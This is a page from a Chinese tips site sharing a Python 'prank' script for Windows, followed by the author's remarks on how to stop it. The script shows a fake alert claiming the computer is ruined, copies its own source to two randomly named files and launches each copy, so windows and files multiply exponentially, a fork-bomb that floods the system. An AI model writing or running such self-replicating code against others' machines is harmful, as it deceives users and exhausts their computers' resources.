欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

Python整人小代码——等比数列

时间:2023-05-30

from tkinter import Tkfrom tkinter.messagebox import showinfo,showwarning,showerrorfrom random import randintfrom os import system,nametitle = "Message"message = "很不好意思,您的电脑废了"loops = []hide = Tk()hide.withdraw()def main(): # 实现自我繁衍 global loops randwindow = randint(0,2) if randwindow == 0: showinfo(title,message) elif randwindow == 1: showwarning(title,message) else: showerror(title,message) with open(__file__,"r",encoding="utf-8") as f: text = f.read() for i in range(0,2): content = "./%d.py" % randint(100000,999999) with open(content,"w",encoding="utf-8") as f: f.write(text) loops.append(content) for i in range(0,2): system("start /min cmd /c python %s" % loops[i])# 此程序仅可在Windows系统运行if __name__ == "__main__" and name == "nt": main()else: showerror("Message","无法运行程序,原因可能是:n①(1)您非主动运行程序。n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。") exit()hide.mainloop()

这个程序没把我气死。



按照这样,11次运行后,就能生成1024个窗口!!
怎么关掉呢???
第一步干掉进程:py.exe和cmd.exe。
第二步干掉生成的文件:
好 家 伙

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。